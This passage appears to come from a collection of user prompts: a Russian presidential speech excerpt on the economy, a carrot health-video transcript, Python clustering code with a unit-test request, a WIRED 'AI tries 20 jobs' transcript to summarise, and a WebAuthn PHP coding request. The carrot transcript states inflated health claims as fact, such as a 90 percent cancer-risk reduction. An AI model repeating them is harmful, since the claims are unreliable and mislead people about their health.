them, they are the majority in the world.\n\nI would like to note that the share of the Russian ruble in our international settlements has doubled as compared to December 2021, reaching one third of the total, and including the currencies of the friendly countries, it exceeds half of all transactions.\n\nWe will continue working with our partners to create a sustainable, safe system of international settlements, which will be independent of the dollar and other Western reserve currencies that are bound to lose their universal appeal with this policy of the Western elite, the Western rulers. They are doing all this to themselves with their own hands.\n\nWe are not the ones reducing transactions in dollars or other so-called universal currencies – they are doing everything with their own hands.\n\nYou know, there is a maxim, cannons versus butter. Of course, national defence is the top priority, but in resolving strategic tasks in this area, we should not repeat the mistakes of the past and should not destroy our own economy. We have everything we need to both ensure our security and create conditions for confident progress in our country. We are acting in line with this logic and we intend to continue doing this.\n\nThus, many basic, I will stress, civilian industries in the national economy are far from being in decline, they have increased their production last year by a considerable amount. The scale of housing put into service exceeded 100 million square meters for the first time in our modern history.\n\nAs for agricultural production, it recorded two-digit growth rates last year. Thank you very much. We are most grateful to our agricultural producers. Russian agrarians harvested a record amount – over 150 million tonnes of grain, including over 100 million tonnes of wheat. By the end of the agricultural season, that is, June 30, 2023, we will bring our grain exports to 55–60 million tonnes.\n\nJust 10 or 15 years ago, this seemed like a fairy tale, an absolutely unfeasible plan. If you remember, and I am sure some people do remember this – the former Deputy Prime Minister and the Minister of Agriculture are here – just recently, agrarians took in 60 million tonnes overall in a year, whereas now 55–60 million is their export potential alone. I am convinced we have every opportunity for a similar breakthrough in other areas as well.\n\nWe prevented the labour market from collapsing. On the contrary, we were able to reduce unemployment in the current environment. Today, considering the major challenges coming at us from all sides, the labour market is even better than it used to be. You may remember that the unemployment rate was 4.7 percent before the pandemic, and now, I believe, it is 3.7 percent. What is the figure, Mr Mishustin? 3.7 percent? This is an all-time low.\n\nLet me reiterate that the Russian economy has prevailed over the risks it faced – it has prevailed. Of course, it was impossible to anticipate many of them, and we had to respond literally on the fly, dealing with issues as they emerged. Both the state and businesses had to move quickly. I will note that private actors, SMEs, played an essential role in these efforts, and we must remember this. We avoided having to apply excessive regulation or distorting the economy by giving the state a more prominent role.\n\nWhat else there is to say? The recession was limited to the second quarter of 2022, while the economy grew in the third and fourth quarters. In fact, the Russian economy has embarked on a new growth cycle. Experts believe that it will rely on a fundamentally new model and structure. New, promising global markets, including the Asia-Pacific, are taking precedence, as is the domestic market, with its research, technology and workforce no longer geared toward exporting commodities but manufacturing goods with high added value. This will help Russia unleash its immense potential in all spheres and sectors." -"all right [Music] what happens when you start eating carrots every day carrots are one of the healthiest vegetables you can eat they are rich in vitamins minerals and fiber they have also been shown to have anti-inflammatory effects and protect against many diseases but have you ever wondered what happens when you start eating carrots every day in this video we are going to be talking about the amazing health benefits of adding carrots to your diet before we proceed please note that everything mentioned in this video is unbiased fact checked and reviewed by qualified health professionals with that said let's jump in and talk about how carrots can improve our health number one strengthens your bones carrots play a huge role in keeping your bones strong as we age this is because it contains Vitamin K Vitamin K is an essential fat soluble vitamin that helps maintain bone density and prevent fractures it also helps form osteocalcin which is a protein that binds calcium ions in your bones this builds strong bones and prevents them from becoming brittle or fragile without enough vitamin K your body cannot use calcium that well this can lead to weak brittle bones or osteoporosis vitamin K also has been shown to help prevent coronary artery calcification which is the buildup of calcium in the arteries the same process that occurs in your bones happens in your arteries too as we get older arteries become stiffer and less flexible over time if you don't have enough vitamin K2 researchers at Tufts University recently discovered that eating more carrots can help build stronger bones by improving calcium absorption which can reduce the risk of osteoporosis for their study they put participants on a low calcium diet and measured how much calcium they absorbed over time then they had them eat one cup of carrot juice every day for two weeks to see if it would increase their bone mineral density the results were pretty impressive the participants who ate a cup of carrots each day experienced an eight percent increase in bone density after just two weeks this means that consuming extra carrots may help prevent osteoporosis and keep bones strong as we age number two improves Eye Health carrots are not only delicious but they can also be an excellent addition to your diet if you have eye problems carrots contain vitamin A and beta-carotene which help improve eyesight and prevent macular degeneration and cataracts vitamin A is a fat soluble vitamin that has several functions in the human body including Vision it plays an important role in the health of your eyes and skin and it helps regulate the immune system vitamin A deficiency can cause night blindness which is when you are unable to see in dim or low light conditions the condition is caused by changes in the retina which prevent it from responding properly to incoming light beta-carotene on the other hand is a carotenoid that's naturally found in plants especially those with orange yellow and red colorings it gives carrots their orange Hue for example beta-carotene is an antioxidant that helps protect against free radical damage in the body free radicals can damage cells in our bodies increasing our risk for certain diseases like cancer and age-related macular degeneration number three helps reduce allergy flare-ups carrot protein has been shown to have anti-inflammatory properties which can be beneficial for people who suffer from allergies they found that when a person is exposed to an allergen such as pollen an immune response is triggered by a type of white blood cells called t cells this causes inflammation which can cause symptoms such as sneezing and a runny nose in some cases it can lead to anaphylaxis or an extreme allergic reaction where the Airways become blocked however if someone has high levels of carotenoids in their blood their immune system will be less reactive and less likely to trigger an inflammatory response researchers from the University of Alberta investigated if this protein could affect asthma symptoms by experimenting on mice that were allergic to dust mites they found that those that were given carrot protein showed less severe lung inflammation than those who weren't fed the supplement the team believes that the reason for this is down to the anti-inflammatory properties of carrot protein which reduces swelling in tissues this means that when we eat carrots our bodies produce less histamine which is an inflammatory substance released during allergic reactions the researchers hope that these findings will lead to new treatments for people with allergies and asthma liking our video so far before we move on to the next benefit don't forget to hit the like button and subscribe to our channel so you never miss out on our new informative videos number four help support heart health heart disease is the leading cause of death worldwide in the United States around one in four deaths are caused by heart disease and it is responsible for more deaths than all forms of cancer combined heart disease is defined as a condition in which arteries become narrowed or blocked this can lead to several different problems including chest pain heart attack and stroke researchers found that eating one half cup of carrots daily lowered LDL cholesterol by nine percent and total cholesterol by six percent over three weeks carrots are also a great source of potassium which can help lower blood pressure and reduce the risk of heart disease potassium is an essential mineral that helps your body maintain healthy blood pressure number five may help reduce cancer risk carrots have been shown to reduce cancer risk by up to 90 percent this effect is due to their high level of beta-carotene which acts as an antioxidant in the body it also protects against free radical damage that can cause cancer growth carrots also contain lutein and zeaxanthin which prevent the growth of tumors in the retina and lung these two antioxidants are protective against breast cancer in women especially those who eat at least five servings of fruit and vegetables per day a new study from China shows that eating carrots regularly reduces the risk of lung cancer by 24 in men and women equally women who ate more than 1.5 servings per day had a 32 percent lower risk of developing lung cancer compared with women who ate less than one serving per week men who ate more than two servings per day had a 44 lower risk of developing lung cancer compared with men who ate less than one serving per week number six May promote healthier hair carrots May promote healthier Hair by preventing hair loss as well as increasing the growth rate of new hair carrot juice contains betaine which is essential for healthy liver function and can help prevent hair loss caused by poor Liver Health betaine also helps to improve the health of your scalp by reducing inflammation and increasing circulation to the area the beta-carotene and carrots promote cell turnover giving you shinier healthier looking hair vitamin C in carrots also helps protect your body from free radicals that damage hair follicles and weaken them number seven supports weight loss carrots are high in fiber fiber helps you feel Fuller longer and prevents blood sugar spikes that could lead to cravings and overeating later in the day people who eat more fiber tend to weigh less than those who don't get enough of it in their diets fibrous Foods also help prevent constipation and other digestive problems that can cause you to feel bloated after eating processed foods carrots are also an excellent source of insoluble fiber which keeps your digestive tract healthy carrots are also a good source of pectin pectin is a soluble fiber that helps reduce appetite by making us feel Fuller for longer the high water content in carrots helps keep us hydrated by keeping our digestive system healthy number eight boost your immune system carrots are essential for a strong immune system the carotenoids in carrots can also help boost the production of white blood cells which fight off infections beta-carotene has been shown to boost the immune system by increasing levels of infection fighting white blood cells called natural killer cells these cells are an important component of our body's first line of defense against viruses and bacteria researchers suspect that beta-carotene May promote the production of T lymphocytes which help regulate your immune response you may benefit from taking beta-carotene if you have an autoimmune disease such as multiple sclerosis or rheumatoid arthritis how to eat carrots safely carrot juice is often used as a home remedy for hair loss and to prevent cancer but eating too many carrots can be harmful carrots contain high levels of carotene which the body converts into Vitamin A eating excessive amounts of carrots can cause hyper vitaminosis a which can lead to liver damage and vision problems if you're getting your daily carrot fix keep the amount under one cup per day however if you don't consume carrots every day it's okay to exceed this limit carrots can also be contaminated by dirt carrots are a vegetable that is often grown in the ground which means they are a risk of being exposed to soil-borne pathogens the most common source is a contaminated irrigation system or water source if you purchased your carrots from a grocery store they may have been washed and packaged in an attempt to kill any possible pathogens before they reach you however if you buy them from the farmers market it's important to know how to wash and clean them properly so they can be eaten safely thanks to their Rich supply of nutrients and antioxidants eating carrots every day is a great idea in fact this isn't a bad habit to get into at all so if you aren't already doing so you might even want to consider adding carrots to your grocery list this week enjoyed this video hit the like button and subscribe to our channel for more informative videos like this one thanks for watching your Wellness is our mission [Music]" -'Given this context:\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\nfrom matplotlib.patches import Circle\nimport pickle\nimport pandas as pd\n\nclass RadialFocusGroup:\n def \\_\\_init\\_\\_(self):\n self.foci = []\n\n def distance\\_ordered\\_foci(self, index : int):\n """\n Order the foci by closeness for filtering\n """\n distances = []\n for foci\\_index, foci in enumerate(self.foci):\n distances.append((foci\\_index, foci.index\\_distance(index)))\n return sorted(distances, key = lambda x:x[1])\n\n def ring\\_filter(self, distance\\_list):\n\n distance\\_dataframes = []\n\n for distances in distance\\_list:\n df = pd.DataFrame(distances, columns=[\'index\', \'value\'])\n distance\\_dataframes.append(df)\n\n merged\\_df = pd.concat(distance\\_dataframes, keys=range(len(distance\\_dataframes)), names=[\'source\']).reset\\_index()\n common\\_indices = merged\\_df.groupby(\'index\').filter(lambda x: len(x) == len(distance\\_list))\n filtered\\_points = common\\_indices.groupby(\'index\')[\'value\'].apply(list).reset\\_index().values.tolist()\n\n return filtered\\_points\n def generate\\_radial\\_buffer\\_length(self,\n data : np.ndarray,\n sample\\_size : int, \n n\\_closest : int):\n """\n generates a useful radial distance that will create groups of rough size n\\_closest.\n """\n # Randomly sample sample\\_size points from the data\n sampled\\_indices = np.random.choice(data.shape[0], size=sample\\_size, replace=False)\n sampled\\_points = data[sampled\\_indices]\n\n max\\_distances = []\n\n # Compute the distance between each sampled point and every other point in data\n for sampled\\_point in sampled\\_points:\n distances = np.linalg.norm(data - sampled\\_point, axis=1)\n\n # Find the n\\_closest distances\n closest\\_distances = np.partition(distances, n\\_closest)[:n\\_closest]\n\n # Find the maximum distance among the n\\_closest distances\n max\\_distance = np.max(closest\\_distances)\n max\\_distances.append(max\\_distance)\n\n # Return the average of the maximum distances\n self.radial\\_buffer = np.mean(max\\_distances)\n \n def animate\\_radial\\_buffer\\_length(self, data, sample\\_size, n\\_closest, framerate=1):\n \n\n def plot\\_sphere(ax, center, radius, color, alpha=1.0, n\\_points=100):\n u = np.linspace(0, 2 \\* np.pi, n\\_points)\n v = np.linspace(0, np.pi, n\\_points)\n x = radius \\* np.outer(np.cos(u), np.sin(v)) + center[0]\n y = radius \\* np.outer(np.sin(u), np.sin(v)) + center[1]\n z = radius \\* np.outer(np.ones(np.size(u)), np.cos(v)) + center[2]\n\n ax.plot\\_surface(x, y, z, color=color, alpha=alpha)\n if data.shape[1] not in (2, 3):\n raise ValueError("The dimensionality of the data must be 2 or 3 for animation.")\n\n def update(frame):\n ax.clear()\n if frame < sample\\_size:\n # Plot only the current sampled\\_point\n ax.scatter(\\*sampled\\_points[frame], c=\'black\', marker=\'o\')\n elif frame < 2 \\* sample\\_size:\n i = frame - sample\\_size\n sampled\\_point = sampled\\_points[i]\n closest\\_points = n\\_closest\\_points[i]\n furthest\\_point = closest\\_points[-1]\n\n # Plot sampled\\_point and n\\_closest\\_points with the furthest\\_point in red\n ax.scatter(\\*closest\\_points.T, c=\'blue\', marker=\'o\')\n ax.scatter(\\*furthest\\_point, c=\'red\', marker=\'o\')\n ax.scatter(\\*sampled\\_point, c=\'black\', marker=\'o\')\n else:\n i = frame - 2 \\* sample\\_size\n sampled\\_point = sampled\\_points[i]\n furthest\\_point = n\\_closest\\_points[i][-1]\n\n # Plot sampled\\_point and the furthest\\_point in n\\_closest\n ax.scatter(\\*furthest\\_point, c=\'red\', marker=\'o\')\n ax.scatter(\\*sampled\\_point, c=\'black\', marker=\'o\')\n\n # Draw a circle (2D) or translucent sphere (3D) with radius equal to the radial\\_buffer\\_length\n if data.shape[1] == 2:\n circle = Circle(sampled\\_point, radial\\_buffer\\_length, fill=False, edgecolor=\'black\')\n ax.add\\_patch(circle)\n else:\n plot\\_sphere(ax, sampled\\_point, radial\\_buffer\\_length, color=\'red\', alpha=0.2)\n ax.set\\_xlim(0, 1)\n ax.set\\_ylim(0, 1)\n if data.shape[1] == 3:\n ax.set\\_zlim(0, 1)\n\n sampled\\_indices = np.random.choice(data.shape[0], size=sample\\_size, replace=False)\n sampled\\_points = data[sampled\\_indices]\n\n n\\_closest\\_points = []\n max\\_vals = []\n for sampled\\_point in sampled\\_points:\n distances = np.linalg.norm(data - sampled\\_point, axis=1)\n closest\\_indices = np.argpartition(distances, n\\_closest)[:n\\_closest]\n closest\\_points = data[closest\\_indices]\n n\\_closest\\_points.append(closest\\_points)\n \n max\\_vals.append(np.linalg.norm(sampled\\_point - data[closest\\_indices[-1]]))\n radial\\_buffer\\_length = np.mean(np.array(max\\_vals))\n\n fig = plt.figure()\n if data.shape[1] == 2:\n ax = fig.add\\_subplot(111)\n else:\n ax = fig.add\\_subplot(111, projection=\'3d\')\n\n ani = FuncAnimation(fig, update, frames=3 \\* sample\\_size, interval=1000 / framerate, blit=False)\n plt.show()\n\nclass RadialFoci:\n def \\_\\_init\\_\\_(self ,\n vector : np.ndarray):\n """\n creates the radial distances used for the clustering \n """\n self.distances = []\n self.index\\_to\\_distance = {}\n self.value= vector\n\n def index\\_distance(self, index : int):\n return self.distances[self.index\\_to\\_distance[index]][1]\n \n def find\\_radial\\_group(self,\n index : int,\n expansion\\_start : int,\n radial\\_cutoff : float,):\n """\n Finds the group of indices in 4\\*log N time\n """\n def binary\\_barrier\\_search(boundary\\_condition,\n floor=None,\n ceiling=None):\n if not self.distances:\n return floor if floor is not None else ceiling\n\n low, high = 0, len(self.distances) - 1\n\n if self[low] > boundary\\_condition:\n return floor\n\n if self.distances[high] <= boundary\\_condition:\n return ceiling\n\n while low <= high:\n mid = (low + high) // 2\n\n if self.distances[mid] <= boundary\\_condition and self.distances[mid + 1] > boundary\\_condition:\n return mid\n elif self.distances[mid] <= boundary\\_condition:\n low = mid + 1\n else:\n high = mid - 1\n\n return None\n \n origin\\_value = self.index\\_distance(index)\n expansion\\_value = expansion\\_start\n # first find the upward / downward limits\n upwards\\_floor\\_limit = index\n upward\\_ceil\\_limit = index + expansion\\_value\n while(self.index\\_distance(index + expansion\\_value) - origin\\_value < origin\\_value + radial\\_cutoff):\n expansion\\_value \\*= 2\n upward\\_ceil\\_limit = expansion\\_value\n if(upward\\_ceil\\_limit > self.distances.\\_\\_len\\_\\_()): upward\\_ceil\\_limit = self.distances.\\_\\_len\\_\\_()\n\n downward\\_ceil\\_limit = index\n downward\\_floor\\_limit = index - expansion\\_value\n while(origin\\_value - self.index\\_distance(index - expansion\\_value) > origin\\_value - radial\\_cutoff):\n expansion\\_value \\*= 2\n downward\\_floor\\_limit = expansion\\_value\n if(downward\\_floor\\_limit < 0): downward\\_floor\\_limit = 0\n \n return self.distances[binary\\_barrier\\_search(origin\\_value + radial\\_cutoff, upwards\\_floor\\_limit, upward\\_ceil\\_limit):\n binary\\_barrier\\_search(origin\\_value - radial\\_cutoff, downward\\_floor\\_limit, downward\\_ceil\\_limit)]\n \n \ndef radial\\_map\\_data(unmapped\\_data : np.ndarray):\n """\n Maps out data to the radial dimensionality.\n """\n dim = unmapped\\_data.shape[1]\n radial\\_focus\\_group = RadialFocusGroup()\n # Create the radial\\_foci dataset\n radial\\_foci = np.eye(dim)\n radial\\_foci = np.vstack((radial\\_foci, np.zeros(dim))) # Add the origin point\n\n # Compute the distance between each point in unmapped\\_data and radial\\_foci\n \n for j, radial\\_point in enumerate(radial\\_foci):\n radial\\_foci\\_distance = []\n\n for i, unmapped\\_point in enumerate(unmapped\\_data):\n radial\\_foci\\_distance.append((i, np.linalg.norm(unmapped\\_point - radial\\_point)))\n radial\\_foci\\_distance = sorted(radial\\_foci\\_distance, key = lambda x: x[1])\n new\\_radial\\_foci = RadialFoci(radial\\_point)\n new\\_radial\\_foci.distances = radial\\_foci\\_distance\n new\\_radial\\_foci.index\\_to\\_distance = { entry[0] : index for index, entry in enumerate(new\\_radial\\_foci.distances)}\n radial\\_focus\\_group.foci.append(new\\_radial\\_foci)\n \n\n return radial\\_focus\\_group\n\nbuild a unit test for "build\\_radial\\_group" and "binary\\_barrier\\_search"' -'Summarize the following.\nTitle: "(2) A.I. Tries 20 Jobs | WIRED - YouTube"\nTranscript: "I\'m a lawyer copywriter Doctor music producer personal trainer software engineer DJ I want to know can AI do my job I\'m a software engineer where I work we\'re always trying to know where can I find the best craft beer please generate the code for a website using HTML CSS and flask that tells me where there\'s craft beer near me this is just raw code you actually need to run the code somewhere I\'m copying pasting the code into separate files and it generates a website how cool here\'s our website all three pieces the back end the front end and The Styling did actually make something that was human readable that that generates a website that we can look at and understand what it does does seem like a huge feat to me I\'m a doctor this prompt is something that a patient might enter I have a fever rash and body aches the rash looks like small welds on my genitals do I have monkey pox the response is pretty solid in the sense that it\'s unlikely that you have monkey pox the specific thing I got right was that the monkey pox rash is actually not prominent on the genital area it goes on to say that a rash in the general area most likely is an STI the rest of the answer is just fluff talking to your healthcare provider which is pretty obvious can AI do my job I don\'t think it\'s there yet I think the AI right now is really good for a first year medical student I\'m a graphic designer Rebrand the McDonald\'s logo as vegan I\'m seeing four image variations it\'s struggling with text it\'s looking sort of like characters but in some sort of fictional language I wouldn\'t send any of these straight away to McDonald\'s they do each need a little bit of work the fourth one I think is maybe the strongest it\'s leaning towards more organic colors overall I don\'t think AI can do my job I kind of see this as a more evolved Pinterest I can use it as a base for inspiration but I don\'t think it will replace me all together or so I hope I\'m a therapist people come to me when they want help in dating or relationships please answer the following question in a way a relationship therapist would why do I always fight with my partners conflicts are a natural part of any relationship fighting or arguing is not necessarily a sign of a bad relationship great some possible factors include communication issues stress and life events different conflict styles how do I know what my conflict style is reflect on your past conflicts observe your behavior during conflicts most people are incapable of reflecting on their conflict style during conflicts so while this is great information I\'m not sure how actionable it is what AI has done is it\'s just dumped a bunch of information were I to be a client I would probably want my money back that\'s just me so can AI do my job I would say have self-help books done my job people don\'t lack knowledge they lack the ability to follow through I\'m a stand-up comedian and I want to know if an AI can do my job write a 100 word minimum funny stand-up comedy joke let me go ahead and perform this and we\'ll see what we got online dating what a wild ride that is you know what they say swipe right for love and left for well probably just another cat person but hey at least it\'s better than meeting someone at a bar and realizing you have the same dad again like what side are you using ancestry.com that\'s a little creepy it has the Cadence right which is what\'s so fascinating to me and it\'s kind of creeping me out I did think it was cute when it was like oh swipe left on a cat person although let\'s be honest that\'s a little feline phobic I\'m not concerned about the AI yet it could take a crappier comedian\'s job but it can\'t take mine I\'m a lawyer my client is asking me whether or not they can sell someone\'s health information please write a legal memorandum about this in a true legal memorandum it would give you which sections of the regulation you\'re talking about which this is not doing it doesn\'t say what the penalties are is it criminal is it civil I don\'t really know where it\'s getting its information I don\'t know how much I can trust this if it were like a legal associate I would say go back and do a better job I\'m a news anchor I want to know if AI can do my job I have given the AEI some text to read a forest fire has blazed through a large part of the Southern mountain region of the country she didn\'t sound natural he sounded like a machine speaking the lips look weird it looked like the lips did not belong to the face and provide Aid to those affected when I speak I\'m moving my hands but I\'m also moving some of my body she wasn\'t doing that I do a newscast in Spanish now let\'s see how it does with the Spanish newscast on incendio Forrestal ha effectado una Grand Park de la region it sucked in Spanish she actually threw in some Spanglish there miles to Hector is and the accent I have Casado she definitely struggled there the AI cannot take my job for now I\'m a bartender surprise me with a Twist on a Negroni and give it a name fill a mixing glass with ice add the Gin Campari and sweet vermouth gently muddle two to three fresh Sage leaves in the glass stir the mixture until well chilled Express the orange peel over the drink release the oils and use it as a garnish there you go you have your Sage Negroni so it\'s a good classic Negroni I\'m not really getting sage just adding the sage leaves was not very creative AI didn\'t ask me any follow-up questions I would say what do you like is there a style of gin that you like I think if you want to have a truly bespoke cocktail you gotta go see a bartender I\'m a screenwriter I\'m going to give this AI a prompt that describes a scene in my latest movie and to see how well it can match it in this scene set in 1949 three World War II widows toast their younger sister Ruby\'s wedding exterior Beach day Mildred Shirley and Charlotte Frolic at the shoreline of the beach and may you never have to experience the Heartbreak that we did the character literally says exactly what like you want the story to do what\'s going on Ruby seems tense I don\'t know but I\'m going to find out just very on the nose dialogue there\'s a lot of parentheticals describing how the characters saying the Line This is a screenwriter no no you start to tip into the director\'s territory I think that AI can help with my my job in conceptual brainstorming playing out scene ideas if you get stuck on a scene but overall I don\'t think AI can do my job I\'m a music producer I\'m writing a song for a pop client please write this song and include chords for the guitar the client is heavily influenced by Lana Del Rey it looks like we\'ve gotten a chord structure and some lyrics a typical progression so not too interesting but that\'s okay so let\'s make a beat when I work with an artist that\'s looking for a specific influence I\'ll think about the BPM that that artist usually goes for [Applause] okay this is pretty good it\'s a good start another great day in the city I\'m feeling lost oh Such a Pity City Lights and heartbeats you walk in and make me complete I like that it\'s a starting point of course some of the lyrics are super corny I will admit a lot of the time that\'s how it starts for me right now these programs can\'t do my job I\'m a journalist I\'m the reviews editor at wired and I test products for a living so I asked chat gbt to write a review of a product that I\'ve actually written about in the style of my own writing when it comes to electric skateboards there are plenty of options to choose from a little boring this is pulling in data specifically from my review and so it has a lot of similar characteristics and sentences that I might typically use unfortunately I think it\'s Stripped Away a lot of the personality in the original review it kind of just took a lot of the basic details and spit out this thing that is kind of generic as for things that did right it actually brought out a lot of these specs like the 3000 watt Motors the 26 miles per hour speeds when reading this review it almost sounds like I could have written it by just reading a press release the AI cannot physically handle this product it\'s not exactly testing the product itself at that point can you really trust where the source is coming from asking chat gbt to write a review based in my voice is definitely weird I\'m a circus artist what would I ask the AI to do hmm I don\'t think there\'s anything that I can think of that I would have the AI do for me I\'m a copywriter McDonald\'s just went 100 vegan write several taglines so we\'ve got veganize your taste buds today feels like a used car salesman no animals harmed only flavor enhanced I don\'t ever go to a fast food restaurant and say I really want my flavor enhanced that\'s not something I\'m ever looking for our last one here is wow very short we\'ve got It\'s Time to Go Green did it run out of um words it typed up some general ideas which actually could help if you were brainstorming and you\'re like I have nothing at all AI could do my job at a very like a Monday morning no coffee kind of way if you wanted to pay no money and get a bad product sure hey I could do my job I\'m a personal trainer please design a fat burning weekly at home workout plan this is definitely a typical plan that someone might want to burn calories with a full body workout you\'re also doing some type of pull workout that\'s going to work your back your posterior chain and you\'re also doing some kind of push so I will say that I like that that it\'s giving a full range of those types of exercises most people know what a push-up is but do they know how to correctly do a push-up it\'s saying three sets of eight to ten reps but how much time is in between each set ideally you would want to be able to see the client in person or on a virtual call so that you can see what their form looks like I don\'t think AI can do my job I\'m a DJ I have my radio show coming up I play uplifting disco music for about two hours make a full playlist slash set list for my show it\'s hitting the Disco on the head for sure I\'ve played a few of these artists on my show before so it\'s definitely getting pretty close to maybe what a tracklist would be one of these tracks Gotta Keep On by sweet cream I looked it up and there\'s no trace of it on the internet anywhere where did it get this song from does the song actually exist AI can make a playlist being able to look out into a room and look out into a dance floor and say okay people are tired let me match that energy I don\'t think that it can do that based on what I\'ve seen I\'m a voice actor shouldn\'t cost the Earth we\'ve created a new line of compostable shoes that are made from sustainable materials I\'ve asked the AI to read this copy let\'s hear this thing fashion shouldn\'t cost the Earth we\'ve crew line of compostable hey but not great it\'s very computer-like it has a strange Cadence and so it ends every sentence like this sustainable which is not the way a human talks it can\'t change on the Fly is there a joke that I\'m supposed to get in the next line it doesn\'t understand all those things the things that come from like life experiences it\'s never going to be like the thing that you\'re going to use for like McDonald\'s commercials it\'s going to be like the things that no one really likes to do anyway like 400 hours of instruction manuals or something like that can AI do my job kinda but not really well although it still freaks me out I\'m an influencer and I want to know if AI can do my job I want chat gbt to help me with an IG caption that\'s a picture of me smiling standing at the top of my Matra in Paris Standing On Top of the World or at least on top of mamatra smiley face eyes the view from here is breathtaking the Sakura cord in my back reminding me of the city\'s Rich history and culture feeling grateful and inspired what a day it has been hashtag grateful this is like really strong but it doesn\'t necessarily capture how I would speak my audience would know that this is not me probably from the overwhelming amount of emojis I would probably say like hey y\'all or like sis that was amazing this AI program cannot do my job but it\'s very close I\'m a chef write a recipe for an Indian restaurant meal include a protein marination it\'s got definitely a lot of spices that you use in Indian cooking it\'s actually missing a key component it didn\'t include yogurt which kind of acts as a binding agent 400 Degrees 20 to 25 minutes for chicken it would probably dry it out overall I would say it\'s like a nice 8 out of 10 dish I do think a substantial part of being a chef is that creativity and coming up with dishes so in terms of that aspect of the job I think AI comes dangerously close to being able to do my job I\'m a translator please translate the opening paragraph of The Sun Also Rises into Korean structural sentence pretty good but there are so many mistakes like if you see the second sentence this is wrong translation in Korean we have casual form and then also respectful form this AI translation use basic written form in first sentence but in the second sentence he used like respect for form it\'s not consistent AI cannot do my job maybe someday it can do it but so far it\'s like it made so many mistakes I\'m a firefighter there\'s no way AI can do my job [Music]"' -'You are a software engineer with 30 years of experience. Now, you have to code a PHP function to perform a registration ceremony in a webauthn system, here is the w3c documentation that will helps to do that :\n\nIn order to perform a registration ceremony, the Relying Party MUST proceed as follows:\n\nLet options be a new PublicKeyCredentialCreationOptions structure configured to the Relying Party\'s needs for the ceremony.\n\nCall navigator.credentials.create() and pass options as the publicKey option. Let credential be the result of the successfully resolved promise. If the promise is rejected, abort the ceremony with a user-visible error, or otherwise guide the user experience as might be determinable from the context available in the rejected promise. For example if the promise is rejected with an error code equivalent to "InvalidStateError", the user might be instructed to use a different authenticator. For information on different error contexts and the circumstances leading to them, see §\u202f6.3.2 The authenticatorMakeCredential Operation.\n\nLet response be credential.response. If response is not an instance of AuthenticatorAttestationResponse, abort the ceremony with a user-visible error.\n\nLet clientExtensionResults be the result of calling credential.getClientExtensionResults().\n\nLet JSONtext be the result of running UTF-8 decode on the value of response.clientDataJSON.\n\nNOTE: Using any implementation of UTF-8 decode is acceptable as long as it yields the same result as that yielded by the UTF-8 decode algorithm. In particular, any leading byte order mark (BOM) MUST be stripped.\n\nLet C, the client data claimed as collected during the credential creation, be the result of running an implementation-specific JSON parser on JSONtext.\n\nNOTE: C may be any implementation-specific data structure representation, as long as C’s components are referenceable, as required by this algorithm.\n\nVerify that the value of C.type is webauthn.create.\n\nVerify that the value of C.challenge equals the base64url encoding of options.challenge.\n\nVerify that the value of C.origin matches the Relying Party\'s origin.\n\nIf C.topOrigin is present:\n\nVerify that the Relying Party expects that this credential would have been created within an iframe that is not same-origin with its ancestors.\n\nVerify that the value of C.topOrigin matches the origin of a page that the Relying Party expects to be sub-framed within.\n\nLet hash be the result of computing a hash over response.clientDataJSON using SHA-256.\n\nPerform CBOR decoding on the attestationObject field of the AuthenticatorAttestationResponse structure to obtain the attestation statement format fmt, the authenticator data authData, and the attestation statement attStmt.\n\nVerify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.\n\nVerify that the UP bit of the flags in authData is set.\n\nIf the Relying Party requires user verification for this registration, verify that the UV bit of the flags in authData is set.\n\nIf the Relying Party uses the credential’s backup eligibility to inform its user experience flows and/or policies, evaluate the BE bit of the flags in authData.\n\nIf the Relying Party uses the credential’s backup state to inform its user experience flows and/or policies, evaluate the BS bit of the flags in authData.\n\nVerify that the "alg" parameter in the credential public key in authData matches the alg attribute of one of the items in options.pubKeyCredParams.\n\nVerify that the values of the client extension outputs in clientExtensionResults and the authenticator extension outputs in the extensions in authData are as expected, considering the client extension input values that were given in options.extensions and any specific policy of the Relying Party regarding unsolicited extensions, i.e., those that were not specified as part of options.extensions. In the general case, the meaning of "are as expected" is specific to the Relying Party and which extensions are in use.\nNOTE: Client platforms MAY enact local policy that sets additional authenticator extensions or client extensions and thus cause values to appear in the authenticator extension outputs or client extension outputs that were not originally specified as part of options.extensions. Relying Parties MUST be prepared to handle such situations, whether it be to ignore the unsolicited extensions or reject the attestation. The Relying Party can make this decision based on local policy and the extensions in use.\n\nNOTE: Since all extensions are OPTIONAL for both the client and the authenticator, the Relying Party MUST also be prepared to handle cases where none or not all of the requested extensions were acted upon.\n\nNOTE: The devicePubKey extension has explicit verification procedures, see §\u202f10.2.2.3.1 Registration (create()).\n\nDetermine the attestation statement format by performing a USASCII case-sensitive match on fmt against the set of supported WebAuthn Attestation Statement Format Identifier values. An up-to-date list of registered WebAuthn Attestation Statement Format Identifier values is maintained in the IANA "WebAuthn Attestation Statement Format Identifiers" registry [IANA-WebAuthn-Registries] established by [RFC8809].\n\nVerify that attStmt is a correct attestation statement, conveying a valid attestation signature, by using the attestation statement format fmt’s verification procedure given attStmt, authData and hash.\nNOTE: Each attestation statement format specifies its own verification procedure. See §\u202f8 Defined Attestation Statement Formats for the initially-defined formats, and [IANA-WebAuthn-Registries] for the up-to-date list.\n\nIf validation is successful, obtain a list of acceptable trust anchors (i.e. attestation root certificates) for that attestation type and attestation statement format fmt, from a trusted source or from policy. For example, the FIDO Metadata Service [FIDOMetadataService] provides one way to obtain such information, using the aaguid in the attestedCredentialData in authData.\nAssess the attestation trustworthiness using the outputs of the verification procedure in step 21, as follows:\nIf no attestation was provided, verify that None attestation is acceptable under Relying Party policy.\n\nIf self attestation was used, verify that self attestation is acceptable under Relying Party policy.\n\nOtherwise, use the X.509 certificates returned as the attestation trust path from the verification procedure to verify that the attestation public key either correctly chains up to an acceptable root certificate, or is itself an acceptable certificate (i.e., it and the root certificate obtained in Step 22 may be the same).\n\nVerify that the credentialId is ≤ 1023 bytes. Credential IDs larger than this many bytes SHOULD cause the RP to fail this registration ceremony.\n\nVerify that the credentialId is not yet registered for any user. If the credentialId is already known then the Relying Party SHOULD fail this registration ceremony.\n\nNOTE: The rationale for Relying Parties rejecting duplicate credential IDs is as follows: credential IDs contain sufficient entropy that accidental duplication is very unlikely. However, attestation types other than self attestation do not include a self-signature to explicitly prove possession of the credential private key at registration time. Thus an attacker who has managed to obtain a user’s credential ID and credential public key for a site (this could be potentially accomplished in various ways), could attempt to register a victim’s credential as their own at that site. If 